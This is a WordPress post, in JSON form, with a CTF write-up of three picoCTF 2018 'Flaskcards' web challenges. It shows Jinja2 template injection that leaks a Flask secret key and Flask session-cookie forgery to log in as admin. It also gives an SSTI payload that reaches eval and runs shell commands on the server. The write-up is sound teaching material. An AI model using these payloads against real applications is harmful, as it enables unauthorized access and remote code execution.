{"id":281,"date":"2018-10-09T12:41:17","date_gmt":"2018-10-09T16:41:17","guid":{"rendered":"http:\/\/www.wispwisp.com\/?p=281"},"modified":"2020-11-09T23:43:46","modified_gmt":"2020-11-09T23:43:46","slug":"picoctf-ctf-flaskcards-serial","status":"publish","type":"post","link":"https:\/\/www.wispwisp.com\/index.php\/2018\/10\/09\/picoctf-ctf-flaskcards-serial\/","title":{"rendered":"picoctf CTF 2018 Flaskcards serial"},"content":{"rendered":"<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">picoCTF is a CTF hosted by CMU targeted at high school students, which is a great&nbsp;opportunity for beginner to improve their skill. I enjoy this CTF a lot.<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Not really a Team, just me.<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-282\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.37.44-PM-300x196.png\" alt=\"\" width=\"505\" height=\"330\"><\/span>&nbsp;<\/p>\n<hr>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">This is the Writeup for&nbsp;Flaskcards serial: &#8220;Flaskcards&#8221;, &#8220;Flaskcards Skeleton Key&#8221; and &#8220;Flaskcards and Freedom&#8221;.<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">All three problems have the same interface: first you create an account, login in with the account you created, exploit different vulnerabilities to get the Flag.<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">This is the register page:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-289\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.44.05-PM-300x117.png\" alt=\"\" width=\"795\" height=\"310\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">After the user login to the account, the user can create a Flashcard by entering the question and answer:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-286\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.44.23-PM-300x224.png\" alt=\"\" width=\"534\" height=\"399\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Click &#8220;List Cards&#8221; on the top to show the Flashcard:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-288\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.44.34-PM-1-300x158.png\" alt=\"\" width=\"480\" height=\"253\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">There is an Admin Page on the website, which looks interesting:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-296\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.21.51-PM-300x130.png\" alt=\"\" width=\"402\" height=\"174\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><strong>Problem 1,&nbsp;Flaskcards:<\/strong><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">We found this fishy&nbsp;<a href=\"http:\/\/2018shell3.picoctf.com:23547\/\">website<\/a>&nbsp;for flashcards that we think may be sending secrets. Could you take a look?<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">For this problem, I try base64decode the Cookie, but the output is not plain text.<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">&nbsp;<img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-297\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.27.45-PM-300x59.png\" alt=\"\" width=\"595\" height=\"117\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-298\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.30.05-PM-300x100.png\" alt=\"\" width=\"603\" height=\"201\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">I noticed the name of the problem is&nbsp;strange, it should spell as &#8220;Flashcard&#8221;, but why the name is &#8220;Flaskcard&#8221;?&nbsp;<\/span><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Then I realize this can be a Flask application, which might be vulnerable to&nbsp;template injection attack:&nbsp;<a href=\"https:\/\/portswigger.net\/blog\/server-side-template-injection\">https:\/\/portswigger.net\/blog\/server-side-template-injection<\/a><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">I test the input <code>{{2*2}}<\/code>, if the application is vulnerable to&nbsp;template injection, it should return &#8220;4&#8221;.<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-299\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.33.54-PM-300x209.png\" alt=\"\" width=\"535\" height=\"373\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">And it did return &#8220;4&#8221;, which prove the application is vulnerable to a template injection attack.<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-300\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.35.04-PM-300x134.png\" alt=\"\" width=\"470\" height=\"210\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>{{config}}<\/code> can show the configuration of the application, I create a card with Question&nbsp;<code>{{config}}<\/code>.<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">The server returns the application configuration and the Flag:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-301\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-7.36.55-PM-300x244.png\" alt=\"\" width=\"623\" height=\"507\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><strong>Problem 2:&nbsp;Flaskcards Skeleton Key<\/strong><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http:\/\/2018shell3.picoctf.com:48263 (link).<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">It seems the problem want me to login as Admin. I Google how cookie work in Flask application:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Found this:&nbsp;<a href=\"http:\/\/flask.pocoo.org\/docs\/1.0\/quickstart\/\">http:\/\/flask.pocoo.org\/docs\/1.0\/quickstart\/<\/a><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">And this write-up form 2017 ASIS CTF that is also related to Flask Cookie and template injection. <span style=\"color: #ff0000;\">I use the Code from this article to encode and decode the Flask Cookie<\/span>: <a href=\"https:\/\/teamrocketist.github.io\/2017\/09\/11\/Web-ASIS-Golem-is-stupid\/\">https:\/\/teamrocketist.github.io\/2017\/09\/11\/Web-ASIS-Golem-is-stupid<\/a><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">My original cookie value:&nbsp;<span style=\"font-size: 12pt;\"><code>.eJwtjzluwzAQAP_C2sWS1B70Z4Q9EcNAAkh2FeTvVpF-Bpj5bXsdeX61--t4563tj2j3toVLLEIgRYwuMHTSDB6zvGIaOiLpFgJuY1oaLdhURXQiMPuojQZNBevSid2kz3SPYcVLFwsEGoIAVYHPSs6QEL7YciNot-bnUfvr55nfV8_FC9YombnRsloLGVndK6tTUC7OYayX9z7z-J9ofx-whT-m.Dp7TIg.XWUpmVkxoQAUPFWekpTEPe2UA2U<\/code><\/span><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">The cookie value after decoding:<\/span><\/p>\n<blockquote>\n<p class=\"p1\"><span style=\"font-family: helvetica, arial, sans-serif; font-size: 12pt;\"><code><span class=\"s1\">{u'csrf_token': u'80d85f2f83e469bf995757accfef16d6e97e2b7a', u'_fresh': True, u'user_id': u'4', u'_id': u'4dc8d96506a55d1802a363d723fcfd3b5c556a4d80cb23beb6904aa88a35077c2f46263a0b18167cb813eccd2bf79a9780d5b50806ff0c3fe7ed8d87167fcb60'}<\/span><\/code><\/span><\/p>\n<\/blockquote>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">I change the <code>\"user_id\"<\/code> value to <code>1<\/code> and encode the Cookie again:<\/span><\/p>\n<blockquote>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 12pt;\"><code>sk = '385c16dd09098b011d0086f9e218a0a2'<br>\ndecodedDict = decodeFlaskCookie(sk, '.eJwtjzluwzAQAP_C2sWS1B70Z4Q9........original Cookie value....UA2U')<br>\nprint decodedDict<br>\ndecodedDict['user_id'] = '1'<br>\ncookie = encodeFlaskCookie(sk, decodedDict)cookie = encodeFlaskCookie(sk, decodedDict)<\/code><\/span><\/p>\n<\/blockquote>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Insert the new Cookie in Chrome:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-307\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-8.09.14-PM-300x63.png\" alt=\"\" width=\"576\" height=\"121\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Get the Flag from the Admin page:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-308\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-8.09.29-PM-300x138.png\" alt=\"\" width=\"580\" height=\"267\"><\/span><\/p>\n<p><strong><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Problem 3: Flaskcards and Freedom<\/span><\/strong><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">There seem to be a few more files stored on the flashcard server but we can&#8217;t log in. Can you? http:\/\/2018shell3.picoctf.com:46628 (link)<\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">From the hint I know I need to achieve remote code execution to get the Flag:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-309\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-8.16.15-PM-300x155.png\" alt=\"\" width=\"648\" height=\"335\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">After Googling and Baiduing &#8220;Flask template injection&#8221;, the first step is to dump all available class with command:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>{{[].__class__.__base__.__subclasses__()}}<\/code><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-292\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.50.04-PM-300x217.png\" alt=\"\" width=\"300\" height=\"217\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">The server returns all available class:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-291\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.50.31-PM-300x294.png\" alt=\"\" width=\"443\" height=\"434\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">The second step is to find certain Classes that have the ability to do &#8220;eval&#8221; or &#8220;exec&#8221;, in this case, I use <code>\"warings.catch_warnings\"<\/code><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Copy and Paste all the classes in Sublime Text and format them nicely so we can find out where is the&nbsp;<code>\"warings.catch_warnings\"<\/code>&nbsp;Class. The number is 243, so to call the Class, the command should be:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>{{[].__class__.__base__.__subclasses__()[243]}}<\/code><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-290\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-12.50.59-PM-300x91.png\" alt=\"\" width=\"379\" height=\"115\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">From this post:&nbsp;<a href=\"https:\/\/blog.csdn.net\/qq_27446553\/article\/details\/79379136\">https:\/\/blog.csdn.net\/qq_27446553\/article\/details\/79379136<\/a>. I learn that the command to execute code will be:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>{{[].__class__.__base__.__subclasses__()[243].__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"ls\").read()')}}<\/code><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Create a card with the command above, the server will return:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-310\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-8.26.03-PM-300x113.png\" alt=\"\" width=\"598\" height=\"225\"><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Found a file called &#8220;Flag&#8221;, use &#8220;cat flag&#8221; to read the Flag:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><code>{{[].__class__.__base__.__subclasses__()[243].__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat flag\").read()')}}<\/code><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone wp-image-311\" src=\"https:\/\/www.wispwisp.com\/wp-content\/uploads\/2018\/10\/Screen-Shot-2018-10-09-at-8.26.47-PM-300x119.png\" alt=\"\" width=\"600\" height=\"238\"><\/span><\/p>\n<p><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\">Reference:<\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><a href=\"https:\/\/blog.csdn.net\/qq_27446553\/article\/details\/79379136\">https:\/\/blog.csdn.net\/qq_27446553\/article\/details\/79379136<\/a><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><a href=\"http:\/\/shaobaobaoer.cn\/archives\/660\/python-flask-jinja-ssti\">http:\/\/shaobaobaoer.cn\/archives\/660\/python-flask-jinja-ssti<\/a><\/span><br><span style=\"font-family: helvetica, arial, sans-serif; font-size: 14pt;\"><a href=\"https:\/\/teamrocketist.github.io\/2017\/09\/11\/Web-ASIS-Golem-is-stupid\">https:\/\/teamrocketist.github.io\/2017\/09\/11\/Web-ASIS-Golem-is-stupid<\/a><\/span><\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>picoCTF is a CTF hosted by CMU targeted at high school students, which is a great&nbsp;opportunity for beginner to improve their skill. I enjoy this CTF a lot.Not really a Team, just me.&nbsp; This is the Writeup for&nbsp;Flaskcards serial: &#8220;Flaskcards&#8221;, &#8220;Flaskcards Skeleton Key&#8221; and &#8220;Flaskcards and Freedom&#8221;. All three problems have the same interface: first [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":694,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/281"}],"collection":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/comments?post=281"}],"version-history":[{"count":4,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/281\/revisions"}],"predecessor-version":[{"id":749,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/posts\/281\/revisions\/749"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media\/694"}],"wp:attachment":[{"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/media?parent=281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/categories?post=281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wispwisp.com\/index.php\/wp-json\/wp\/v2\/tags?post=281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}